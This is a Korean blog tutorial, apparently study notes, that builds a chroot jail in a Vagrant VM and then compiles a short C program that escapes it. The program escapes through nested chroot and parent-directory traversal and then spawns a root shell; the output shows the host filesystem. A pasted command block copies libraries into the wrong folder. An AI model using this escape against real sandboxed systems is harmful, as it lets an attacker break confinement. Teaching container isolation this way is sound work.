도커 없이 컨테이너 만들기 - chroot 탈옥편

👋 여는 글

본 글은 "도커 없이 컨테이너 만들기" 시리즈 중 "chroot 탈옥" 따라해보기 시리즈에 대한 학습을 정리한 내용입니다. 참고

🖊 개요

1. 환경 구성

1) Git clone

  • Sam Young Kim님의 GitHub에서 샘플 소스 다운합니다
$ git clone https://github.com/netpple/make-container-without-docker.git 

2) VM 생성 및 확인

  • 샘플로 제작된 Vagrantfile을 사용하여 vagrant 환경을 구성합니다
$ cd make-container-without-docker
$ vagrant up
  • vagrant status 명령으로 VM 상태를 확인합니다
$ vagrant status

3) VM 접속

  • vagrant ssh 명령으로 생성된 VM에 접속합니다
$ vagrant ssh ubuntu1804

vagrant@ubuntu1804:~$
  • 접속 후 root 계정으로 변경합니다
sudo -Es
cd /tmp

❓ chroot란?

📢 chroot 소개

chroot란 Change Root Directiory의 줄임말로 현재 실행중인 프로세스와 자녀 프로세스의 루트 디렉토리를 변경하는 작업입니다. chroot를 이용해 변경된 루트 디렉토리에서는 그 상위에 디렉토리 (ex. 본래 루트 디렉토리)에 파일 및 명령에 접근할 수 없게합니다.

💡 chroot 좀 더 알아보기

좀 더 자세히 알아보면 시스템에는 /라고 일컬어지는 루트 디렉터리가 존재합니다. 이 루트 디렉터리는 파일 시스템의 최상위를 의미하는 특별한 위치이며, 모든 디렉터리와 파일은 이 루트 디렉터리 아래에 존재합니다.

  • pstree 구조

루트 디렉터리 아래에 A, B, C 그리고 다시 A 아래에 D, E 요소가 있는 구조를 생각해보겠습니다. 위 그림에서 확인할 수 있듯이 모든 요소는 루트 아래에 존재하게 됩니다. 이 시스템 위에서 어떤 프로세스 R을 실행했다고 해보겠습니다.

이 프로세스 R은 기본적으로 루트 디렉터리를 기준으로 다른 파일들을 탐색할 수 있습니다. 예를 들어 프로세스 아래에서 A 아래의 E 파일에 접근하고자 한다면 /A/E와 같이 접근할 수 있습니다. 우리가 실행하는 프로세스들은 기본적으로 이러한 방식으로 파일 시스템에 접근합니다. 즉, 일반적인 프로세스는 파일 시스템의 /를 루트 디렉터리로 하는 프로세스라고 말할 수 있습니다.

chroot는 바로 이 루트 디렉터리 /를 다른 위치로 지정해서 프로세스를 실행해주는 프로그램입니다. 여기서 아주 중요한 사실이 있습니다. 루트 디렉터리를 파일 시스템의 최상위 요소인 /으로 지정하지 않는다면, 결국 / 아래의 어떤 디렉터리만이 새로운 루트가 될 수 있다는 점입니다. 예를 들어 A를 루트 디렉터리로 하는 프로세스 K를 생각해보겠습니다.

chroot를 사용해 실행된 프로세스 K의 루트 디렉터리는 더 이상 /이 아닙니다. /A가 루트 디렉터리가 됩니다. 여기서 프로세스 R과 아주 중요한 차이가 발생합니다. 프로세스 R은 /를 기준으로 그 아래의 모든 파일을 탐색할 수 있었습니다. 하지만 프로세스 K의 루트 디렉터리는 /A이기 때문에 /에 접근하는 것이 불가능합니다. 그리고 / 아래에 있는 B와 C에도 접근할 수 없습니다. 왜냐면 프로세스 K에게는 /A가 최상위 디렉터리, 즉 /이기 때문에 그 위에 있는 경로를 표현할 방법 자체가 없습니다.

❗ 요약

이처럼 루트 디렉터리를 변경하면 특정 프로세스(K)가 상위 디렉터리에 접근할 수 없도록 격리 시킬 수 있습니다. 정확히 이 역할을 하는 것이 chroot 명령어입니다.

💡 출처 : https://www.44bits.io/ko/post/change-root-directory-by-using-chroot


다음은 직접 chroot에 대한 실습을 진행해보려 합니다.

폴더 생성 및 chroot 실행

  • new-root 폴더를 만들고, chroot 합니다.
mkdir new-root
chroot new-root /bin/bash

🔥 에러발생 : chroot: failed to run command /bin/bash: No such file or directory ...

/bin/bash 는 new-root 경로를 기준으로 실행할 커맨드가 경로에 없어 에러 메세지가 뜨는 것입을 알 수 있죠?

/bin/bash 파일을 new-root/bin 으로 복사해주시고, /bin/bash에서 실행 시 참조하는 라이브러리들 까지 복사해줍니다.

  • bash 확인 및 new-root/bin 생성합니다
which bash
-> /bin/bash

mkdir -p new-root/bin
cp /bin/bash new-root/bin

🔍 ldd 의존성 확인

  • ldd 명령어로 라이브러리를 확인합니다
root@ubuntu1804:/tmp# ldd /bin/bash
	linux-vdso.so.1 (0x00007ffe16aa1000)
	libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f4a1db6e000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4a1d96a000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4a1d579000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f4a1e0b2000)
  • 위에 ldd로 확인한 라이브러리들을 new-root/lib 폴더를 만들고 한땀 한땀 복사해 줍니다.
mkdir new-root/lib
   19  cp /bin/ls new-root/bin
   20  cp /lib/x86_64-linux-gnu/libselinux.so.1 new-root/bin
   21  cp /lib/x86_64-linux-gnu/libc.so.6 new-root/bin
   22  cp /lib/x86_64-linux-gnu/libpcre.so.3 new-root/bin
   23  cp /lib/x86_64-linux-gnu/libdl.so.2 new-root/bin
   24  cp /lib64/ld-linux-x86-64.so.2 new-root/lib64/
   25  cp /lib/x86_64-linux-gnu/libpthread.so.0 new-root/bin

다시 chroot ~

chroot new-root /bin/bash

이젠 접속 할 수 있어요 .
하지만 ls 입력시 아래와 같은 에러가 뜹니다..

bash-4.4# ls
ls: error while loading shared libraries: libselinux.so.1: cannot open shared object file: No such file or directory

해결하기 위해서 위에 처럼 한땀한땀 라이브러리를 복사해요

root@ubuntu1804:/tmp# ldd /bin/ls
	linux-vdso.so.1 (0x00007ffee9dbb000)
	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f09025b8000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f09021c7000)
	libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f0901f55000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0901d51000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f0902a02000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f0901b32000)
cp /bin/ls new-root/bin
cp /lib/x86_64-linux-gnu/libselinux.so.1 new-root/lib
cp /lib/x86_64-linux-gnu/libc.so.6 new-root/lib
cp /lib/x86_64-linux-gnu/libpcre.so.3 new-root/lib
cp /lib/x86_64-linux-gnu/libdl.so.2 new-root/lib
cp /lib/x86_64-linux-gnu/libpthread.so.0 new-root/lib
cp /lib64/ld-linux-x86-64.so.2 new-root/lib64

입력하면 이제는 ls 명령어를 활용 할 수 있어요.. 그런데 root와는 다른 내용들을 확인 할 수 있어요..

chroot new-root /bin/bash
bash-4.4# ls /
bin  escape_chroot  lib  lib64

🔨 탈옥코드

다음은 탈옥을 위한 .c 파일 입니다.

# vi escape_chroot.c

#include <sys/stat.h>
#include <unistd.h>

int main(void)
{
    mkdir(".out", 0755);
    chroot(".out");
    chdir("../../../../../");
    chroot(".");

    return execl("/bin/sh", "-i", NULL);
}

실제로 .c파일을 사용하기 위해 gcc을 통해 코드 컴파일을 합니다.

# gcc -o new-root/escape_chroot escape_chroot.c

이제 다시한번 chroot을 실행해 봅시다.

# chroot new-root /bin/bash

✨ 확인

아래와 같이 확인할 수 있습니다!

bash-4.4# ls /
bin  escape_chroot  lib  lib64
bash-4.4# ./escape_chroot
#
# ls /
bin   etc	  initrd.img.old  lost+found  opt   run   srv  usr	vmlinuz
boot  home	  lib		  media       proc  sbin  sys  vagrant	vmlinuz.old
dev   initrd.img  lib64		  mnt	      root  snap  tmp  var

🤔 chroot 한계!

위에서 보신 것 과 같이 chroot는 아래와 같은 한계를 갖고 있는데요...
이를 해결 할 수 있는 방법에 대해 다음 포스팅에서 알아 보도록 하겠습니다.

  • isolation 되지 않음 : 호스트의 filesystems, process tree, network, ipc, … 에 접근 가능
  • root 권한 사용 : root 권한과 그에 따른 보안 문제 초래 가능
  • resource 무제한 : cpu, memory, i/o, network, … 호스트의 자원을 제한 없이 사용 가능

💡 출처:


다음 편에 또 만나요👏

좋은 웹페이지 즐겨찾기